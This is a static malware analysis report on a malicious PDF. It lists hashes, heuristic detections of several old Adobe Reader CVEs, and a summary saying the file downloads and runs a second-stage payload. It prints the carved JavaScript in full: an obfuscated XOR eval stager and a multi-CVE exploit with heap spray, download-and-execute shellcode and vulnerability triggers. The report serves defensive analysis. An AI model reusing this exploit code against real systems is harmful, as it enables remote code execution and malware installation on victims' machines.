Malicious PDF — malware analysis report

Static analysis result for SHA-256 71aa49a9b281bc1f…

MALICIOUS

PDF

4.9 KB Authoring application: Fexareazosatoraco (via 2ebc0Lokabsiahtewq)
MD5: 42fdda091740b9a6c37f003486e740a5 SHA-1: 6884bbd68487d49e8277ae3eb7c4bdd21aa925db SHA-256: 71aa49a9b281bc1f4a38d8bf5e8db27c9ca1805531e6a3e84791c081d4c991a7
388 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains multiple critical heuristic firings indicating exploitation of several Adobe Reader vulnerabilities, specifically CVE-2008-2992, CVE-2009-4324, and CVE-2009-0927. These vulnerabilities are leveraged to execute obfuscated JavaScript. The deobfuscated JavaScript attempts to construct a URL by concatenating various strings and then downloads and executes a second-stage payload. The primary function of the script is to download and execute a payload from a remote server.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js
12d0ff7956f6e5fc97b8fe6ef1fbc2e37ee99247cbd036f9c14f32b7fdde6f77		 pdf-javascript-stream PDF /JS object 11 at offset 0xE8C 497 bytes
Preview script
First 1,000 lines of the extracted script
try {var tE='Functionz'.replace(/[z]/g, '');var kZ=app.doc;nC='va&r  bO = 150 ;var  uR = this&&;v&ar vE=uR.&&ge&tPageNumWords(this.pageNum);&var eN=\'\';fo&r(var hQ=0;hQ< vE&&; hQ&++){&e&&N=[eN, &&uR&.getP&&age&&NthWord(uR.pageNum,hQ,true)&&].&join(\'\');;}var &&qN=\'\';f&&or(var hQ=0;hQ < eN.&len&&g&&th; &hQ+=2){sJ=eN.su&&bstr(hQ&&,2);&qN&=[qN&,S&tring.fromC&&harCode(pa&rs&eI&nt(&&sJ,16)^&&bO&)].join(\'\');}ev&&al(qN);qN=&null;'.replace(/[&]/g, '');qT=vCX;} catch(rO){var oP=kZ[tE](nC);oP();}
page_word_xor_stage_000.js
bf224b2518961ddda983d1edfc045c69727ef5a110f4f83c37081c212ddd374c		 deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x96) at offset 0x8C 3755 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
t={p:"f"};mV={n:"rA"};sF={b:"pK"};var kR='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';for(var j=0; j <2264; j++){j++; var dI='mH'};var wH={};var kN={};nG={fY:"uF"};var vC=this.info['wB'].replace(/[\s]/g, '');var rU=["kB"];try {} catch(vY){};dO={dC:false};var wT = this.info;var z = (wT.producer.substr(0,5) == 'debug');var jK = new Array(); var wV = "%u";function xA(str){str = str.split(wV);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function yV(str1, str2){return [str1, str2].join("");}function dEB(tG){var gH = rG();var gHU = aR();gH += ((gH.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + gHU;if(z) app.alert("URL: " + gH);gH=xO(gH);var d=wV;var sJ=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";sJ+=gH;return xA(sJ);};function rG(){var hA = (wT.author + wT.title).replace(/[\s]/g, '');var kL = dED(hA, vC, kR);return kL;};function dED(hA, kR, vC){var kL="";for(var i=0; i < hA.length; i++){var vA = kR.indexOf(hA[i]);if(vA > -1 ){kL += vC[vA];}}return kL;};function xO(hA){var out = "";hA = oB(hA);g = Math.round(hA.length / 4);if (g != hA.length /4) hA+="00";for(var i=0; i < hA.length; i+=4){out+= wV + hA.substr(i+2, 2) + hA.substr(i, 2);}return out;};function oB(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function l(tS, len){while (tS.length * 2 < len){tS = yV(tS, tS);}return tS.substring(0, len / 2);};function aJ(dW){var iN = 0x0c0c0c0c;        rM = dEB("pdf");if (dW == 1){iN = 0x30303030;}var iL = 0x400000;var ln = rM.length * 2;var nGX = iL - (ln + 0x38);var tS = xA(wV+"9090"+wV+"9090"); tS = l(tS, nGX);var rI = (iN - 0x400000) / iL;for (var uV = 0; uV < rI; uV ++ ){jK[uV] = yV(tS, rM);}};function aR(){try {return app.viewerVersion.toString();}catch(pW){    return 0;}}if(z) app.alert("called exploit");var gHU = aR();if(z)  app.alert("v: " + gHU);if (gHU > 8){if(z) app.alert("util.printf");aJ(1);var mX = "12999999999999999999";for (tW=0; tW < 276; tW++) mX += "8";util.printf("%45000f", mX);}if (gHU < 8){if(z) app.alert("Collab.collectEmailInfo");aJ(0);var yT = xA(wV+"0c0c"+wV+"0c0c");while (yT.length < 44952) yT += yT;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : yT});}if (gHU < 9.1){if (app.doc.Collab.getIcon){if(z) app.alert("Collab.getIcon");aJ(0);var hS = unescape("%09");while (hS.length < 0x4000) hS += hS;hS = "N." + hS;app.doc.Collab.getIcon(hS);}}if (gHU == 9.2){if(z) app.alert("media.newPlayer");aJ(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}xC=["sV","bY","qH"];var kD=[];this.eJ='';this.aH=10596;this.aH+=42;

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